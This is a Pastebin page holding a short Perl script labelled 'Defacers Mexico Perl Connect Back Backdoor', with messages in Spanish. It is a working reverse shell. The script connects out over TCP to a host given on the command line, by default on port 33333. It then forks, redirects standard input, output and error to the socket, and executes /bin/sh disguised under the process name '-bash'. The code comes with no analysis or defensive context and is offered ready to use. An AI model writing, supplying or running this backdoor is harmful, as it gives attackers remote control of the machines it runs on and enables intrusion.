Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use Socket;
- print "Defacers Mexico Perl Connect Back Backdoor\n\n";
- if (!$ARGV[0]) {
- printf "Uso: $0 [Host] <Puerto>\n";
- exit(1);
- }
- print "[*] Reuniendo Argumentos\n";
- $host = $ARGV[0];
- $port = 33333;
- if ($ARGV[1]) {
- $port = $ARGV[1];
- }
- print "[*] Conectando...\n";
- $proto = getprotobyname('tcp') || die("[-] Protocolo Desconocido\n");
- socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("[-] Error Socket\n");
- my $target = inet_aton($host);
- if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
- die("[-] Imposible Conectar\n");
- }
- print "[*] Enviado Shell\n";
- if (!fork( )) {
- open(STDIN,">&SERVER");
- open(STDOUT,">&SERVER");
- open(STDERR,">&SERVER");
- exec {'/bin/sh'} '-bash' . "\0" x 4;
- exit(0);
- }
- print "[*] Enviada\n\n";
Add Comment
Please, Sign In to add comment